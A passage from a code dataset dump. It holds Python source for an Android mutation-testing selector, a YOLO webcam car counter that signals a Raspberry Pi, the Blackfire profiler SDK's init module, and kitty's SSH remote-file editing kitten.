MutantsSelector:\n invert_ror_dict = {}\n boundary_ror_dict = {}\n invert_aor_dict = {}\n\n def randomSampling(self, mutants):\n result = random.sample(mutants, len(mutants)/10)\n return result\n\n def inlineRandomSmali(self, mutants):\n result = []\n keys = {}\n for m in mutants:\n if not m['line_num'] in keys:\n keys[m['line_num']] = [m]\n else:\n keys[m['line_num']].append(m)\n\n for k in keys:\n r = random.randint(0, len(keys[k])-1)\n # print r, len(keys[k])\n result.append(keys[k][r])\n # print k, keys[k]\n return result\n\n def inlineRandomSource(self, mutants):\n result = []\n keys = {}\n for m in mutants:\n if not m['ori_line_num'] in keys:\n keys[m['ori_line_num']] = [m]\n else:\n keys[m['ori_line_num']].append(m)\n\n for k in keys:\n r = random.randint(0, len(keys[k])-1)\n # print r, len(keys[k])\n result.append(keys[k][r])\n # print k, keys[k]\n return result\n\n def equalization(self, mutants):\n result = []\n keys = {}\n numbers = {}\n for m in mutants:\n if not m['operator_type'] in numbers:\n numbers[m['operator_type']] = 1\n else:\n numbers[m['operator_type']] += 1\n if not m['ori_line_num'] in keys:\n keys[m['ori_line_num']] = [m]\n else:\n keys[m['ori_line_num']].append(m)\n\n # print numbers\n for k in keys:\n v = keys[k]\n least = v[0]\n if len(v) > 1:\n for mutant in v[1:]:\n if numbers[least['operator_type']] > numbers[mutant['operator_type']]:\n numbers[least['operator_type']] -= 1\n least = mutant\n else:\n numbers[mutant['operator_type']] -= 1\n result.append(least)\n\n # print numbers\n return result\n\n def patternSelection(self, mutants):\n self.initDict()\n result = []\n for m in mutants:\n if m['operator_type'] == 'ROR':\n if self.isInvertROR(m) or self.isBoundaryROR(m):\n result.append(m)\n elif m['operator_type'] == 'AOR':\n if self.isInvertAOR(m):\n result.append(m)\n else:\n result.append(m)\n return result\n\n def addTwoWayDict(self, d, k, v):\n d[k] = v\n d[v] = k\n\n def initDict(self):\n operators_ror = ['if-lt', 'if-ge', 'if-gt', 'if-le', 'if-eq', 'if-ne']\n inverts_ror = ['if-ge', 'if-lt', 'if-le', 'if-gt', 'if-ne', 'if-eq']\n boundary_ror = ['if-le', 'if-gt', 'if-ge', 'if-lt']\n for i in range(len(operators_ror)):\n self.addTwoWayDict(self.invert_ror_dict, operators_ror[i], inverts_ror[i])\n self.addTwoWayDict(self.invert_ror_dict, operators_ror[i]+'z', inverts_ror[i]+'z')\n if i < len(boundary_ror):\n self.addTwoWayDict(self.boundary_ror_dict, operators_ror[i], boundary_ror[i])\n self.addTwoWayDict(self.boundary_ror_dict, operators_ror[i]+'z', boundary_ror[i]+'z')\n # print self.invert_ror_dict\n # print self.boundary_ror_dict\n\n operators_aor = ['add', 'sub', 'mul', 'div', 'rem']\n inverts_aor = ['sub', 'add', 'div', 'mul', 'mul']\n for i in range(len(operators_aor)):\n self.addTwoWayDict(self.invert_aor_dict, operators_aor[i], inverts_aor[i])\n\n # print self.invert_aor_dict\n \n\n def isInvertROR(self, mutant):\n ori_operator = mutant['line'].strip().split(' ')[0]\n mutant_operator = mutant['mutant'].strip().split(' ')[0]\n if self.invert_ror_dict[ori_operator] == mutant_operator:\n # print ori_operator, mutant_operator\n return True\n return False\n\n def isBoundaryROR(self, mutant):\n ori_operator = mutant['line'].strip().split(' ')[0]\n mutant_operator = mutant['mutant'].strip().split(' ')[0]\n if (ori_operator in self.boundary_ror_dict) and (self.boundary_ror_dict[ori_operator] == mutant_operator):\n # print ori_operator, mutant_operator\n return True\n return False\n\n def isInvertAOR(self, mutant):\n ori_operator = mutant['line'].strip().split('-')[0]\n mutant_operator = mutant['mutant'].strip().split('-')[0]\n # print ori_operator, mutant_operator\n if ori_operator == 'rsub':\n ori_operator = 'sub'\n if self.invert_aor_dict[ori_operator] in mutant_operator:\n # print ori_operator, mutant_operator\n return True\n return False\n\n","repo_name":"Yuan-W/muDroid","sub_path":"mutant_selector.py","file_name":"mutant_selector.py","file_ext":"py","file_size_in_byte":4239,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"27380992746","text":"import time\nimport cv2\nimport numpy as np\nfrom keras import backend as K\nfrom keras.models import load_model\n\nfrom yad2k.models.keras_yolo import yolo_head, yolo_eval\nfrom yad2k.yolo_utils import read_classes, read_anchors, preprocess_webcam_image, draw_boxes, \\\n generate_colors\nfrom socket import * # Import necessary modules\n\nHOST = '100.100.198.163' # Server(Raspberry Pi) IP address\nPORT = 21567\nBUFSIZ = 1024 # buffer size\nADDR = (HOST, PORT)\n\n\ntcpCliSock = socket(AF_INET, SOCK_STREAM) # Create a socket\ntcpCliSock.connect(ADDR) # Connect with the server\n\n\n\n\t\n\t\n\t\n\n\nstream = cv2.VideoCapture(0)\n\nclass_names = read_classes(\"model_data/coco_classes.txt\")\nanchors = read_anchors(\"model_data/yolo_anchors.txt\")\nimage_shape = (480., 640.)\n\nyolo_model = load_model(\"model_data/yolo.h5\")\nprint(yolo_model.summary())\nyolo_outputs = yolo_head(yolo_model.output, anchors, len(class_names))\nscores, boxes, classes, box_xy, box_wh = yolo_eval(yolo_outputs, image_shape)\n\n\ndef predict(sess, frame):\n \"\"\"\n Runs the graph stored in \"sess\" to predict boxes for \"image_file\". Prints and plots the preditions.\n\n Arguments:\n sess -- your Tensorflow/Keras session containing the YOLO graph\n image_file -- name of an image stored in the \"images\" folder.\n\n Returns:\n out_scores -- tensor of shape (None, ), scores of the predicted boxes\n out_boxes -- tensor of shape (None, 4), coordinates of the predicted boxes\n out_classes -- tensor of shape (None, ), class index of the predicted boxes\n\n Note: \"None\" actually represents the number of predicted boxes, it varies between 0 and max_boxes.\n \"\"\"\n\n # Preprocess your image\n image, image_data = preprocess_webcam_image(frame, model_image_size=(608, 608))\n\n # Run the session with the correct tensors and choose the correct placeholders in the feed_dict.\n # You'll need to use feed_dict={yolo_model.input: ... , K.learning_phase(): 0})\n out_scores, out_boxes, out_classes = sess.run([scores, boxes, classes], feed_dict={yolo_model.input: image_data,\n K.learning_phase(): 0})\n # Print predictions info\n print('Found {} boxes'.format(len(out_boxes)))\n # Generate colors for drawing bounding boxes.\n colors = generate_colors(class_names)\n # Draw bounding boxes on the image file\n draw_boxes(image, out_scores, out_boxes, out_classes, class_names, colors)\n\n cars = np.count_nonzero(out_classes == 2)\n return np.array(image), cars\n\n #return np.array(image)\n\n\nsess = K.get_session()\n\n(grabbed, frame) = stream.read()\nfshape = frame.shape\nfheight = fshape[0]\nfwidth = fshape[1]\n#print fwidth , fheight\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\nout = cv2.VideoWriter('output.avi',fourcc, 20.0, (fwidth,fheight))\n\n\n#fourcc = cv2.VideoWriter_fourcc(*'MJPG')\n#out = cv2.VideoWriter('output', fourcc, 24.0, ())\n\nwhile True:\n # Capture frame-by-frame\n grabbed, frame = stream.read()\n if not grabbed:\n break\n\n # Run detection\n start = time.time()\n output_image, cars = predict(sess, frame)\n end = time.time()\n print(\"Inference time: {:.2f}s\".format(end - start))\n\n print(\"The number of cars: \",cars)\n\n if cars >= 3:\n tcpCliSock.send(b\"1\")\n print(\"green\")\n else:\n tcpCliSock.send(b\"0\")\n print(\"red\")\n \n\n # Display the resulting frame\n cv2.imshow('', output_image)\n out.write(output_image)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# When everything done, release the capture\nstream.release()\nout.release()\ncv2.destroyAllWindows()\ntcpCliSock.close()\n","repo_name":"UgraNarasimha/BCX19","sub_path":"webcam_detection/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"35442944269","text":"import re\nimport io\nimport os\nimport sys\nimport traceback\nimport logging\nimport atexit\nimport json\nimport base64\nimport importlib\nimport platform\n\nfrom blackfire.utils import *\nfrom blackfire import profiler\nfrom blackfire.exceptions import BlackfireApiException\n\n__all__ = [\n 'BlackfireConfiguration',\n 'VERSION',\n 'bootstrap_python',\n 'patch_all',\n 'profile',\n 'generate_config',\n]\n\next_dir = os.path.dirname(os.path.abspath(__file__))\nwith io.open(os.path.join(ext_dir, 'VERSION')) as f:\n VERSION = f.read().strip()\n\nCOST_DIMENSIONS = 'wt cpu mu pmu nw_in nw_out'\n\n\ndef _get_default_agent_socket():\n plat = platform.system()\n if plat == 'Windows':\n return 'tcp://127.0.0.1:8307'\n elif plat == 'Darwin':\n if platform.processor() == 'arm':\n return 'unix:///opt/homebrew/var/run/blackfire-agent.sock'\n else:\n return 'unix:///usr/local/var/run/blackfire-agent.sock'\n else:\n return 'unix:///var/run/blackfire/agent.sock'\n\n\n# conform with optional pep: PEP396\n__version__ = VERSION\nDEFAULT_AGENT_TIMEOUT = 0.25\nDEFAULT_AGENT_SOCKET = _get_default_agent_socket()\n_DEFAULT_ENDPOINT = 'https://blackfire.io/'\nDEFAULT_CONFIG_FILE = os.path.join(get_home_dir(), '.blackfire.ini')\nBLACKFIRE_CLI_EXEC = 'blackfire'\n\nlog = get_logger(\"blackfire.init\")\n\n\nclass BlackfireConfiguration(object):\n\n def __init__(self, query, **kwargs):\n \"\"\"\n query: is the BLACKFIRE_QUERY url encoded string that contains the signed params\n signature ...etc.\n \"\"\"\n self.query_raw = query\n\n for k, v in kwargs.items():\n setattr(self, k, v)\n\n matches = re.split('(?:^|&)signature=(.+?)(?:&|$)', query, 2)\n\n self.challenge_raw = matches[0]\n self.signature = matches[1]\n self.args_raw = matches[2]\n\n self.args = dict(parse_qsl(self.args_raw))\n self.challenge = dict(parse_qsl(self.challenge_raw))\n\n def is_blackfireyml_asked(self):\n return 'request-id-blackfire-yml' in self.challenge['agentIds']\n\n def __getattribute__(self, name):\n value = None\n try:\n value = object.__getattribute__(self, name)\n except AttributeError:\n raise AttributeError(\n 'BlackfireConfiguration object has no attribute=%s.' % (name)\n )\n\n return value\n\n def __repr__(self):\n return json_prettify(self.__dict__)\n\n\ndef _get_signing_response(\n signing_endpoint,\n client_id,\n client_token,\n http_proxy,\n https_proxy,\n urlopen=urlopen\n):\n _SIGNING_API_TIMEOUT = 5.0\n\n request = Request(signing_endpoint)\n auth_hdr = '%s:%s' % (client_id, client_token)\n if IS_PY3:\n auth_hdr = bytes(auth_hdr, 'ascii')\n base64string = base64.b64encode(auth_hdr)\n if IS_PY3:\n base64string = base64string.decode(\"ascii\")\n\n if http_proxy or https_proxy:\n install_proxy_handler(http_proxy, https_proxy)\n\n request.add_header(\"Authorization\", \"Basic %s\" % base64string)\n result = urlopen(request, timeout=_SIGNING_API_TIMEOUT)\n if not (200 <= result.code < 400):\n raise BlackfireApiException(\n 'Signing request failed for manual profiling. [%s]' % (result.code)\n )\n result = result.read()\n # python 3.5 does not accept bytes for json loads so always convert\n # response to string\n if isinstance(result, bytes):\n result = result.decode(\"ascii\")\n return json.loads(result)\n\n\ndef _stop_at_exit():\n profiler.stop()\n logging.shutdown()\n\n\n# Note: The functions registered via this module are not called when the\n# program is killed by a signal not handled by Python, when a Python fatal\n# internal error is detected, or when os._exit() is called.\natexit.register(_stop_at_exit)\n\n\ndef _add_bootstrap_to_pythonpath(bootstrap_dir):\n \"\"\"\n Add our bootstrap directory to the head of $PYTHONPATH to ensure\n it is loaded before program code\n \"\"\"\n python_path = os.environ.get('PYTHONPATH', '')\n\n if python_path:\n new_path = '%s%s%s' % (\n bootstrap_dir, os.path.pathsep, os.environ['PYTHONPATH']\n )\n os.environ['PYTHONPATH'] = new_path\n else:\n os.environ['PYTHONPATH'] = bootstrap_dir\n\n\ndef _print_help():\n help_string = '''Usage: blackfire-python \n blackfire-python [options] run [options] \n blackfire-python help \n\nblackfire-python will make the Python program instrumentable by Blackfire without any code modification.\n\nCommands:\n\n run\t\tEnable code instrumentation and start profiling immediately with \"blackfire run\".\n help\t\tProvide help\n\nFor more information on blackfire-python, please visit https://blackfire.io/docs.\n '''\n if get_executable_path(BLACKFIRE_CLI_EXEC) is None:\n help_string += '\\nWarning: The \"blackfire\" CLI is not installed. It is needed for the \"run\"' \\\n 'command to work properly.\\nPlease visit https://blackfire.io/docs/up-and-running/installation ' \\\n 'to install it.\\n'\n print(help_string)\n\n\ndef _print_help_run():\n help_string = '''Usage: blackfire-python \n blackfire-python [options] run [options] \n blackfire-python help \n\nHelp for the \"run\" command:\n\nEnable code instrumentation, run a python program, and starts profiling\nimmediately.\n\nblackfire-python [options] run [options] \n\nThe \"blackfire-python run\" command is a proxy for \"blackfire run\".\nAny options accepted by \"blackfire run\" are available in this command.\nTo learn more, please run \"blackfire help run\".\n\nFor more information on blackfire-python, please visit https://blackfire.io/docs.\n'''\n\n if get_executable_path(BLACKFIRE_CLI_EXEC) is None:\n help_string += '\\nWarning: The \"blackfire\" CLI is not installed. It is needed for the \"run\" ' \\\n 'command to work properly.\\nPlease visit https://blackfire.io/docs/up-and-running/installation ' \\\n 'to install it.\\n'\n\n print(help_string)\n\n\ndef bootstrap_python():\n global ext_dir\n\n bootstrap_dir = os.path.join(ext_dir, 'bootstrap')\n\n _add_bootstrap_to_pythonpath(bootstrap_dir)\n\n log.debug('PYTHONPATH: %s' % os.environ['PYTHONPATH'])\n\n if len(sys.argv) < 2:\n _print_help()\n sys.exit(1)\n\n # `blackfire-python` cmd has a run command that propagates the call to `blackfire run`.\n # `blackfire run` arguments can either be passed as prefixes and/or suffixes.\n # There are also commands like `blackfire-python python3 myapp.py run` which should\n # not be propagated to `blackfire run`. To differentiate having a run command and not having\n # it is: looking at the prefix of run and checking if the arguments are valid for\n # `blackfire run`. Specifically: if they start with `-` or `--`. One more exception to\n # this is: `blackfire-python help run`. `help` is also a valid prefix, too.\n cmd = sys.argv[1:]\n\n if len(cmd) == 1 and cmd[0] == 'help':\n _print_help()\n sys.exit(1)\n elif len(cmd) == 2 and cmd[0] == 'help' and cmd[1] == 'run':\n _print_help_run()\n sys.exit(1)\n\n run_index = cmd.index('run') if 'run' in cmd else None\n executable = None\n if run_index is not None:\n executable = BLACKFIRE_CLI_EXEC\n for i in range(run_index):\n if not cmd[i][0] in ['-', '--']: # is not a run option?\n executable = None\n\n if executable is None:\n executable = sys.argv[1]\n args = sys.argv[2:]\n else:\n args = sys.argv[1:]\n\n log.debug(\n 'Executing command = %s (executable=%s, args=%s)', cmd, executable, args\n )\n\n executable_path = get_executable_path(executable)\n if executable_path is None:\n if executable == BLACKFIRE_CLI_EXEC:\n print(\n 'Error: The \"blackfire\" CLI is not installed. It is needed for the \"run\" '\n 'command to work properly.\\nPlease visit https://blackfire.io/docs/up-and-running/installation '\n 'to install it.'\n )\n sys.exit(1)\n\n raise Exception('`%s` is not a valid executable.' % (executable))\n\n # execl(...) propagates current env. vars\n os.execl(executable_path, executable_path, *args)\n\n\ndef bootstrap():\n try:\n patch_all()\n except:\n traceback.print_exc()\n\n try:\n query = os.environ.get('BLACKFIRE_QUERY')\n if query:\n del os.environ['BLACKFIRE_QUERY']\n\n from blackfire import probe\n\n probe.initialize(query=query, method=\"bootstrap\")\n probe.enable(end_at_exit=True)\n except:\n traceback.print_exc()\n\n\n# This code should be the first to run before any import is made.\n# It monkey patches the modules given if installed.\ndef patch_all():\n PATCH_MODULES = ['nw', 'django', 'flask', 'odoo', 'requests', 'pyramid']\n\n # we check for sys.version because patch will import FastAPI middleware code\n # that might raise SyntaxError on older versions\n if sys.version_info >= (3, 7):\n PATCH_MODULES.append('fastapi')\n\n patched_modules = []\n for mod_name in PATCH_MODULES:\n module = importlib.import_module(\n 'blackfire.hooks.%s.patch' % (mod_name)\n )\n r = module.patch()\n if r:\n patched_modules.append(mod_name)\n\n log.debug(\"Patched modules=%s\", patched_modules)\n\n\ndef profile(\n func=None,\n client_id=None,\n client_token=None,\n title=None,\n):\n from blackfire.probe import enable, end, initialize\n\n def inner_func(func):\n\n def wrapper(*args, **kwargs):\n initialize(\n client_id=client_id,\n client_token=client_token,\n method=\"decorator\",\n title=title,\n )\n enable()\n try:\n result = func(*args, **kwargs)\n finally:\n end()\n\n return result\n\n return wrapper\n\n # return wrapper function if no parantheses and return decorator if arguments\n # provided\n if callable(func):\n return inner_func(func)\n else:\n return inner_func\n\n\ndef generate_config(\n query=None,\n client_id=None,\n client_token=None,\n agent_socket=None,\n agent_timeout=None,\n endpoint=None,\n config_file=DEFAULT_CONFIG_FILE,\n title=None,\n ctx_var=None,\n):\n agent_socket = agent_socket or os.environ.get(\n 'BLACKFIRE_AGENT_SOCKET', DEFAULT_AGENT_SOCKET\n )\n agent_timeout = agent_timeout or os.environ.get(\n 'BLACKFIRE_AGENT_TIMEOUT', DEFAULT_AGENT_TIMEOUT\n )\n endpoint = endpoint or os.environ.get(\n 'BLACKFIRE_ENDPOINT', _DEFAULT_ENDPOINT\n )\n agent_timeout = float(agent_timeout)\n\n log.debug(\n \"generate_config(query=%s, endpoint=%s, title=%s, ctx_var=%s) called.\" %\n (query, endpoint, title, ctx_var)\n )\n\n # manual profiling?\n if query is None:\n\n c_client_id = c_client_token = None\n http_proxy = https_proxy = None\n\n # read config params from config file\n if os.path.exists(config_file):\n config = ConfigParser()\n config.read(config_file)\n if 'blackfire' in config.sections():\n bf_section = dict(config.items('blackfire'))\n\n c_client_id = bf_section.get('client-id', '').strip()\n c_client_token = bf_section.get('client-token', '').strip()\n\n http_proxy = bf_section.get('http-proxy', '').strip()\n https_proxy = bf_section.get('https-proxy', '').strip()\n\n # read config params from Env. vars, these have precedence\n c_client_id = os.environ.get('BLACKFIRE_CLIENT_ID', c_client_id)\n c_client_token = os.environ.get(\n 'BLACKFIRE_CLIENT_TOKEN', c_client_token\n )\n\n # now read from the params, these have more precedence, if everything fails\n # use default ones wherever appropriate\n client_id = client_id or c_client_id\n client_token = client_token or c_client_token\n\n # if we still not have client_id or token by here\n if (not client_id or not client_token):\n raise BlackfireApiException(\n 'No client id/token pair or query is provided '\n 'to initialize the probe.'\n )\n\n signing_endpoint = urljoin(endpoint, 'api/v1/signing')\n\n # make a /signing request to server\n resp_dict = _get_signing_response(\n signing_endpoint, client_id, client_token, http_proxy, https_proxy\n )\n\n # tweak some options for manual profiling\n resp_dict['options']['aggreg_samples'] = 1\n\n # generate the query string from the signing req.\n query = resp_dict['query_string'] + '&' + urlencode(\n resp_dict['options']\n )\n\n if title is not None:\n # we did not use parse_sql/urlencode here because the order of the query\n # params should be preserved\n title = '&profile_title=' + title\n if 'profile_title' in query:\n old_title = dict(parse_qsl(query))['profile_title']\n query = query.replace(\"&profile_title=%s\" % (old_title), title)\n else:\n query += title\n\n return BlackfireConfiguration(\n query,\n agent_socket=agent_socket,\n agent_timeout=agent_timeout,\n client_id=client_id,\n client_token=client_token,\n endpoint=endpoint,\n ctx_var=ctx_var,\n )\n","repo_name":"blackfireio/python-sdk","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13474,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"36521798261","text":"import json\nimport os\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nimport time\nfrom typing import Any, List, Optional\n\nfrom kitty.cli import parse_args\nfrom kitty.cli_stub import RemoteFileCLIOptions\nfrom kitty.constants import cache_dir\nfrom kitty.typing import BossType\nfrom kitty.utils import SSHConnectionData, command_for_open, get_editor, open_cmd\n\nfrom ..tui.handler import result_handler\nfrom ..tui.operations import faint, raw_mode, reset_terminal, styled\nfrom ..tui.utils import get_key_press\n\nis_ssh_kitten_sentinel = '!#*&$#($ssh-kitten)(##$'\n\n\ndef key(x: str) -> str:\n return styled(x, bold=True, fg='green')\n\n\ndef option_text() -> str:\n return '''\\\n--mode -m\nchoices=ask,edit\ndefault=ask\nWhich mode to operate in.\n\n\n--path -p\nPath to the remote file.\n\n\n--hostname -h\nHostname of the remote host.\n\n\n--ssh-connection-data\nThe data used to connect over ssh.\n'''\n\n\ndef show_error(msg: str) -> None:\n print(styled(msg, fg='red'), file=sys.stderr)\n print()\n print('Press any key to quit', flush=True)\n with raw_mode():\n while True:\n try:\n q = sys.stdin.buffer.read(1)\n if q:\n break\n except (KeyboardInterrupt, EOFError):\n break\n\n\ndef ask_action(opts: RemoteFileCLIOptions) -> str:\n print('What would you like to do with the remote file on {}:'.format(styled(opts.hostname or 'unknown', bold=True, fg='magenta')))\n print(styled(opts.path or '', fg='yellow', fg_intense=True))\n print()\n\n def help_text(x: str) -> str:\n return faint(x)\n\n print('{}dit the file'.format(key('E')))\n print(help_text('The file will be downloaded and opened in an editor. Any changes you save will'\n ' be automatically sent back to the remote machine'))\n print()\n\n print('{}pen the file'.format(key('O')))\n print(help_text('The file will be downloaded and opened by the default open program'))\n print()\n\n print('{}ave the file'.format(key('S')))\n print(help_text('The file will be downloaded to a destination you select'))\n print()\n\n print('{}ancel'.format(key('C')))\n print()\n\n sys.stdout.flush()\n response = get_key_press('ceos', 'c')\n return {'e': 'edit', 'o': 'open', 's': 'save'}.get(response, 'cancel')\n\n\ndef hostname_matches(from_hyperlink: str, actual: str) -> bool:\n if from_hyperlink == actual:\n return True\n if from_hyperlink.partition('.')[0] == actual.partition('.')[0]:\n return True\n return False\n\n\nclass ControlMaster:\n\n def __init__(self, conn_data: SSHConnectionData, remote_path: str, cli_opts: RemoteFileCLIOptions, dest: str = ''):\n self.conn_data = conn_data\n self.cli_opts = cli_opts\n self.remote_path = remote_path\n self.dest = dest\n self.tdir = ''\n self.last_error_log = ''\n self.cmd_prefix = cmd = [\n conn_data.binary, '-o', f'ControlPath=~/.ssh/kitty-rf-{os.getpid()}-%C',\n '-o', 'TCPKeepAlive=yes', '-o', 'ControlPersist=yes'\n ]\n self.is_ssh_kitten = conn_data.binary is is_ssh_kitten_sentinel\n if self.is_ssh_kitten:\n del cmd[:]\n self.batch_cmd_prefix = cmd\n sk_cmdline = json.loads(conn_data.identity_file)\n while '-t' in sk_cmdline:\n sk_cmdline.remove('-t')\n cmd.extend(sk_cmdline[:-2])\n else:\n if conn_data.port:\n cmd.extend(['-p', str(conn_data.port)])\n if conn_data.identity_file:\n cmd.extend(['-i', conn_data.identity_file])\n self.batch_cmd_prefix = cmd + ['-o', 'BatchMode=yes']\n\n def check_call(self, cmd: List[str]) -> None:\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL)\n stdout = p.communicate()[0]\n if p.wait() != 0:\n out = stdout.decode('utf-8', 'replace')\n raise Exception(f'The ssh command: {shlex.join(cmd)} failed with exit code {p.returncode} and output: {out}')\n\n def __enter__(self) -> 'ControlMaster':\n if not self.is_ssh_kitten:\n self.check_call(\n self.cmd_prefix + ['-o', 'ControlMaster=auto', '-fN', self.conn_data.hostname])\n self.check_call(\n self.batch_cmd_prefix + ['-O', 'check', self.conn_data.hostname])\n if not self.dest:\n self.tdir = tempfile.mkdtemp()\n self.dest = os.path.join(self.tdir, os.path.basename(self.remote_path))\n return self\n\n def __exit__(self, *a: Any) -> None:\n if not self.is_ssh_kitten:\n subprocess.Popen(\n self.batch_cmd_prefix + ['-O', 'exit', self.conn_data.hostname],\n stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL\n ).wait()\n if self.tdir:\n shutil.rmtree(self.tdir)\n\n @property\n def is_alive(self) -> bool:\n if self.is_ssh_kitten:\n return True\n return subprocess.Popen(\n self.batch_cmd_prefix + ['-O', 'check', self.conn_data.hostname],\n stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL\n ).wait() == 0\n\n def check_hostname_matches(self) -> bool:\n if self.is_ssh_kitten:\n return True\n cp = subprocess.run(self.batch_cmd_prefix + [self.conn_data.hostname, 'hostname', '-f'], stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)\n if cp.returncode == 0:\n q = tuple(filter(None, cp.stdout.decode('utf-8').strip().splitlines()))[-1]\n if not hostname_matches(self.cli_opts.hostname or '', q):\n print(reset_terminal(), end='')\n print(f'The remote hostname {styled(q, fg=\"green\")} does not match the')\n print(f'hostname in the hyperlink {styled(self.cli_opts.hostname or \"\", fg=\"red\")}')\n print('This indicates that kitty has not connected to the correct remote machine.')\n print('This can happen, for example, when using nested SSH sessions.')\n print(f'The hostname kitty used to connect was: {styled(self.conn_data.hostname, fg=\"yellow\")}', end='')\n if self.conn_data.port is not None:\n print(f' with port: {self.conn_data.port}')\n print()\n print()\n print('Do you want to continue anyway?')\n print(\n f'{styled(\"Y\", fg=\"green\")}es',\n f'{styled(\"N\", fg=\"red\")}o', sep='\\t'\n )\n sys.stdout.flush()\n response = get_key_press('yn', 'n')\n print(reset_terminal(), end='')\n return response == 'y'\n return True\n\n def show_error(self, msg: str) -> None:\n if self.last_error_log:\n print(self.last_error_log, file=sys.stderr)\n self.last_error_log = ''\n show_error(msg)\n\n def download(self) -> bool:\n cmdline = self.batch_cmd_prefix + [self.conn_data.hostname, 'cat', shlex.quote(self.remote_path)]\n with open(self.dest, 'wb') as f:\n cp = subprocess.run(cmdline, stdout=f, stderr=subprocess.PIPE, stdin=subprocess.DEVNULL)\n if cp.returncode != 0:\n self.last_error_log = f'The command: {shlex.join(cmdline)} failed\\n' + cp.stderr.decode()\n return False\n return True\n\n def upload(self, suppress_output: bool = True) -> bool:\n cmd_prefix = self.cmd_prefix if suppress_output else self.batch_cmd_prefix\n cmd = cmd_prefix + [self.conn_data.hostname, 'cat', '>', shlex.quote(self.remote_path)]\n if not suppress_output:\n print(shlex.join(cmd))\n with open(self.dest, 'rb') as f:\n if suppress_output:\n cp = subprocess.run(cmd, stdin=f, capture_output=True)\n if cp.returncode == 0:\n return True\n self.last_error_log = f'The command: {shlex.join(cmd)} failed\\n' + cp.stdout.decode()\n else:\n return subprocess.run(cmd, stdin=f).returncode == 0\n return False\n\n\nResult = Optional[str]\n\n\ndef main(args: List[str]) -> Result:\n msg = 'Ask the user what to do with the remote file. For internal use by kitty, do not run it directly.'\n try:\n cli_opts, items = parse_args(args[1:], option_text, '', msg, 'kitty +kitten remote_file', result_class=RemoteFileCLIOptions)\n except SystemExit as e:\n if e.code != 0:\n print(e.args[0])\n input('Press Enter to quit')\n raise SystemExit(e.code)\n\n try:\n action = ask_action(cli_opts)\n finally:\n print(reset_terminal(), end='', flush=True)\n try:\n return handle_action(action, cli_opts)\n except Exception:\n print(reset_terminal(), end='', flush=True)\n import traceback\n traceback.print_exc()\n show_error('Failed with unhandled exception')\n return None\n\n\ndef save_as(conn_data: SSHConnectionData, remote_path: str, cli_opts: RemoteFileCLIOptions) -> None:\n ddir = cache_dir()\n os.makedirs(ddir, exist_ok=True)\n last_used_store_path = os.path.join(ddir, 'remote-file-last-used.txt')\n try:\n with open(last_used_store_path) as f:\n last_used_path = f.read()\n except FileNotFoundError:\n last_used_path = tempfile.gettempdir()\n last_used_file = os.path.join(last_used_path, os.path.basename(remote_path))\n print(\n 'Where do you want to save the file? Leaving it blank will save it as:',\n styled(last_used_file, fg='yellow')\n )\n print('Relative paths will be resolved from:', styled(os.getcwd(), fg_intense=True, bold=True))\n print()\n from ..tui.path_completer import get_path\n try:\n dest = get_path()\n except (KeyboardInterrupt, EOFError):\n return\n if dest:\n dest = os.path.expandvars(os.path.expanduser(dest))\n if os.path.isdir(dest):\n dest = os.path.join(dest, os.path.basename(remote_path))\n with open(last_used_store_path, 'w') as f:\n f.write(os.path.dirname(os.path.abspath(dest)))\n else:\n dest = last_used_file\n if os.path.exists(dest):\n print(reset_terminal(), end='')\n print(f'The file {styled(dest, fg=\"yellow\")} already exists. What would you like to do?')\n print(f'{key(\"O\")}verwrite {key(\"A\")}bort Auto {key(\"R\")}ename {key(\"N\")}ew name')\n response = get_key_press('anor', 'a')\n if response == 'a':\n return\n if response == 'n':\n print(reset_terminal(), end='')\n return save_as(conn_data, remote_path, cli_opts)\n\n if response == 'r':\n q = dest\n c = 0\n while os.path.exists(q):\n c += 1\n b, ext = os.path.splitext(dest)\n q = f'{b}-{c}{ext}'\n dest = q\n if os.path.dirname(dest):\n os.makedirs(os.path.dirname(dest), exist_ok=True)\n with ControlMaster(conn_data, remote_path, cli_opts, dest=dest) as master:\n if master.check_hostname_matches():\n if not master.download():\n master.show_error('Failed to copy file from remote machine')\n\n\ndef handle_action(action: str, cli_opts: RemoteFileCLIOptions) -> Result:\n cli_data = json.loads(cli_opts.ssh_connection_data or '')\n if cli_data and cli_data[0] == is_ssh_kitten_sentinel:\n conn_data = SSHConnectionData(is_ssh_kitten_sentinel, cli_data[-1], -1, identity_file=json.dumps(cli_data[1:]))\n else:\n conn_data = SSHConnectionData(*cli_data)\n remote_path = cli_opts.path or ''\n if action == 'open':\n print('Opening', cli_opts.path, 'from', cli_opts.hostname)\n dest = os.path.join(tempfile.mkdtemp(), os.path.basename(remote_path))\n with ControlMaster(conn_data, remote_path, cli_opts, dest=dest) as master:\n if master.check_hostname_matches():\n if master.download():\n return dest\n master.show_error('Failed to copy file from remote machine')\n elif action == 'edit':\n print('Editing', cli_opts.path, 'from', cli_opts.hostname)\n editor = get_editor()\n with ControlMaster(conn_data, remote_path, cli_opts) as master:\n if not master.check_hostname_matches():\n return None\n if not master.download():\n master.show_error(f'Failed to download {remote_path}')\n return None\n mtime = os.path.getmtime(master.dest)\n print(reset_terminal(), end='', flush=True)\n editor_process = subprocess.Popen(editor + [master.dest])\n while editor_process.poll() is None:\n time.sleep(0.1)\n newmtime = os.path.getmtime(master.dest)\n if newmtime > mtime:\n mtime = newmtime\n if master.is_alive:\n master.upload()\n print(reset_terminal(), end='', flush=True)\n if master.is_alive:\n if not master.upload(suppress_output=False):\n master.show_error(f'Failed to upload {remote_path}')\n else:\n master.show_error(f'Failed to upload {remote_path}, SSH master process died')\n elif action == 'save':\n 